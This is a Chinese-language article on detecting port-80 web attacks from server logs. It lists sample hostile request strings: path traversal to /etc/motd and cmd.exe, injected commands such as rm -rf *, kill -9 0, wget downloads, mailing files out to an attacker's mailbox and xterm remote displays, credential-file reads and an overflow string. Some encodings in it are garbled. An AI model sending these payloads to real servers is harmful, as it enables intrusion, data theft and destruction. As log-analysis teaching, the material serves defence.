[摘要]web站點默認80為服務端口,關於它的各種安全問題不斷的發布出來,這些漏洞中一些甚至允許攻擊者獲得系統管理員的權限進入站點內部,以下是Zenomorph對一些80端口攻擊方式的痕跡的研究,和告訴你怎樣從日志記錄中發現問題。[詳細描述]下面部分通過一些列子,展示對web服務器和其上的應用程序普遍的攻擊,和其留下的痕跡,這些列子僅僅是代表了主要的攻擊方式,並沒有列出所有的攻擊形式,這部分將詳細描述每種攻擊的作用,和其怎樣利用這些漏洞進行攻擊。(1)"." ".." 和 "..." 請求這些攻擊痕跡是非常普遍的用於web應用程序和web服務器,它用於允許攻擊者或者蠕蟲病毒程序改變web服務器的路徑,獲得訪問非公開的區域。大多數的CGI程序漏洞含有這些".."請求。Example:?file=../../../../etc/motd這個列子展示了攻擊者請求mosd這個文件,如果攻擊者有能力突破web服務器根目錄,那麼可以獲得更多的信息,並進一步的獲得特權。
(2)" " 請求 是表示空格的16進制數值,雖然這個並不代表你能夠利用什麼,但是在你浏覽日志的時候會發現它,一些web服務器上運行的應用程序中這個字符可能會被有效的執行,所以,你應該仔細的查看日志。另一方面,這個請求有時可以幫助執行一些命令。Example:?page=ls -al│這個列子展示了攻擊者執行了一個unix的命令,列出請求的整個目錄的文件,導致攻擊者訪問你系統中重要的文件,幫助他進一步取得特權提供條件。(3)" 這種字符後面常用在perl中執行命令,這個字符在web應用程序中不是經常的使用,所以,如果看到它在你的日志中,應該非常小心Example:=`id`一個perl寫的有問題的cgi程序,會導致執行id命令[更進一步]下面部分將討論更多的攻擊者可能執行的命令,連同被請求的文件,以及如果你有遠程執行命令的缺陷,應該怎樣檢查發現它。這部分只是給你個好的思路,並告訴你的系統發生了什麼,攻擊者嘗試攻擊你的系統的痕跡,但並不能列舉所有的攻擊者使用的命令和請求的方式。
"/bin/ls"這個命令請求整個路徑,在很多的web應用程序中都有這個漏洞,如果你在日志中很多地方都看到這種請求,很大的可能性是存在遠程執行命令漏洞,但並不一定是個問題,也可能是個錯誤的警報。再一次提醒,寫好的web應用程序(cgi,asp,php...etc)是安全的基礎
Example:?doh=../../../../bin/ls -al│?doh=ls -al;
"cmd.exe"這是一個windows的shell,一個攻擊者如果訪問並運行這個腳本,在服務器設置允許的條件下可以在windows機器上做任何事情,很多的蠕蟲病毒就是通過80端口,傳播到遠程的機器上=../../WINNT/system32/cmd.exe?dir e:
"/bin/id"這是個2進制的文件,它的問題和/bin/ls一樣,如果你在日志中很多地方都看到這種請求,很大的可能性是存在遠程執行命令漏洞,但並不一定是個問題,也可能是個錯誤的警報。它將顯示屬於哪個用戶和屬於哪個組Example:?doh=../../../../bin/id│?doh=id;
"/bin/rm"這個命令可以刪除文件,如果不正確的使用是非常危險的Examples:?doh=../../../../bin/rm -rf *│?doh=rm -rf *;
"wget and tftp" 命令這些命令常被攻擊者用來下載可能進一步獲得特權的文件,wget是unix下的命令,可能被用來下載後門程序,tftp是unix和nt下的命令,用來下載文件。一些IIS蠕蟲通過tftp來復制自身傳播病毒到其他的主機Examples:?doh=../../../../path/to-wget/wget │ ?doh=wget ;
"cat" 命令這個命令用來查看文件內容,常用來讀重要的信息,比如配置文件,密碼文件,信用卡文件和你能夠想到的文件Examples: ?doh=../../../../bin/cat /etc/motd│ ?doh=cat /etc/motd;
"echo" 命令這個命令常用於寫數據到文件中,比如“index.html”Examples: > 0day.txt'>?doh=../../../../bin/echo "fc-#kiwis was here" >> 0day.txt│ > 0day.txt'>?doh=echo "fc-#kiwis was here" >> 0day.txt;
"ps" 命令列出當前運行的進程,告訴攻擊者遠程主機運行了那些軟件,以便從中得到一些安全問題的主意,獲得進一步的權限Examples: ?doh=../../../../bin/ps -aux│ ?doh=ps -aux;
"kill and killall" 命令在unix系統這個命令用於殺掉進程,一個攻擊者可以用這個命令來停止系統服務和程序,同時可以擦掉攻擊者的痕跡,一些exploit會產生很多的子進程Examples: ?doh=../bin/kill -9 0│ ?doh=kill -9 0;
"uname" 命令這個命令告訴攻擊者遠程機器的名字,一些時候,通過這個命令知道web站點位於哪個isp,也許是攻擊者曾今訪問過的。通常uname -a來請求,這些都將記錄在日志文件中Examples: ?doh=../../../../bin/uname -a│ ?doh=uname -a;
"cc, gcc, perl, python, etc..." 編譯/解釋命令攻擊者通過wget或者tftp下載exploit,並用cc,gcc這樣的編譯程序進行編譯成可執行程序,進一步獲得特權Examples: ?doh=../../../../bin/cc Phantasmp.c│ -bin/bad.cgi?doh=gcc Phantasmp.c;./a.out -p 31337;如果你查看日志中發現有“perl” python”這些說明可能攻擊者下載遠程的perl ,python腳本程序,並試圖本地獲得特權"mail" 命令攻擊者通常用這個命令將系統的一些重要文件發到攻擊者自己的信箱,也肯能是進行郵件炸彈的攻擊Examples: ?doh=../../../../bin/mail [email protected] << /etc/motd│ ?doh=mail [email protected] <</tmp/wu-2.6.1.c;
"xterm/其他X 應用程序" 命令xterm 常用來獲得遠程機器上的shell,如果你在你的日志中發現這些符號,可要認真分析你的系統,可能已經存在安全裂口。注意在日志中查找" -display " 這個字符,這種痕跡通常是在遠程機子上啟動xterm或者X應用程序Examples: ?doh=../../../../usr/X11R6/bin/xterm -display 192.168.22.1│ ?doh=Xeyes -display 192.168.22.1;
"chown, chmod, chgrp, chsh, etc..." 等命令在unix系統這些命令允許改變文件的許可權限chown = 允許設置文件的擁有者chmod = 允許設置文件的許可權限chgrp = 允許改變組對文件的擁有權限chsh = 允許改變用戶的shellExamples: ?doh=../../../../bin/chmod 777 index.html│ ?doh=chmod 777 index.html; ?doh=../../../../bin/chown zeno /etc/master.passwd│ ?doh=chsh /bin/sh; ?doh=../../../../bin/chgrp nobody /etc/shadow│ "/etc/passwd" 文件這是系統的密碼文件,一般是shadow過的,並且不允許看到加密的口令,不過對攻擊者來說,可以知道那些是有效的用戶,以及系統的絕對路徑,站點名稱等信息,由於通常被shadow過的,所以對攻擊者,通常會查看/etc/shadow 文件
"/etc/master.passwd"這個文件是BSD系統的密碼文件,包含有加密過的密碼,這個文件對root帳號僅僅是只讀的,而一些不熟練的攻擊者會打開他試圖讀取裡面的內容.,,如果web站點是以root權限運行的,那麼對攻擊者來說,就能夠讀取裡面的內容,對系統管理員很多問題也將接踵而來
"/etc/shadow"包含有加密過的系統口令,對root帳號同樣只讀,和/et/master.passwd差不多
"/etc/motd"當用戶登陸進unix系統中出現的信息,就在這個"Message of the Day" 文件中 ,它提供重要的系統信息和管理員對用戶的一些設置,那些是希望用戶看到的,那些不是,還含有系統的版本信息,攻擊者通常查看此文件,了解是什麼系統在運行,對攻擊者來說,下一步是搜索這種類型的系統的exploit,進一步獲得系統特權
"/etc/hosts"該文件提供ip地址和網絡信息,攻擊者可以了解更多的系統中的網絡設置
"/usr/local/apache/conf/httpd.conf"這是個Apache web服務器的配置文件,攻擊者可以了解諸如cgi,ssi是否可訪問等信息
"/etc/inetd.conf"這是inetd服務的配置文件,攻擊者可以了解遠程機器上的那些服務啟動,是否用了wrapper進行訪問控制,如果發現wrapper 運行著,攻擊者下一步會檢查"/etc/hosts.allow" 和 "/etc/hosts.deny",文件,並可能會更改裡面的一些設置,獲得特權
".htpasswd, .htaccess, and .htgroup"這些文件通常在web站點用於對用戶身份進行認證,攻擊者會查看這些文件,並獲得用戶名和密碼,密碼文件.htpasswd被加密過,通過一些簡單的破解程序進行解密,使攻擊者訪問站點中被保護的區域(通常用戶用和用戶名相同的密碼,以至攻擊者可以以其他帳號進行訪問)
"access_log and error_log"這些是apache服務器的日志記錄文件,攻擊者常會查看這些文件,看那些請求被記錄,那些和其他請求不同的地方通常,攻擊者會修改這些日志文件,比如他自身的地址信息,攻擊者通過80端口突破你的系統,而你的系統又沒有進行備份的工作,也沒有其他記錄程序記錄系統狀況,這將使入侵檢測工作變的很困難
"[drive-letter]:winntrepairsam._ or [drive-letter]:winntrepairsam"Windows NT系統中的密碼文件,如果遠程命令不可以執行,通常攻擊者會請求這些文件,然後通過"l0pht crack"之類的密碼破解工具進行破解,如果攻擊者試圖攻擊administrator的密碼文件,如果成功那麼遠程機器將被攻擊者得到控制權
[溢出 分析]我不會在這篇文章中說過多的關於溢出的話題,我將舉列說明那些現象和痕跡值得注意和特別關注的地方,緩沖攻擊常被攻擊者通過編碼轉換和其他途徑來達到不易發現
下面是個簡單的列子Example: ?type=AAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA AAAAAAAAAAAAAAAAAAA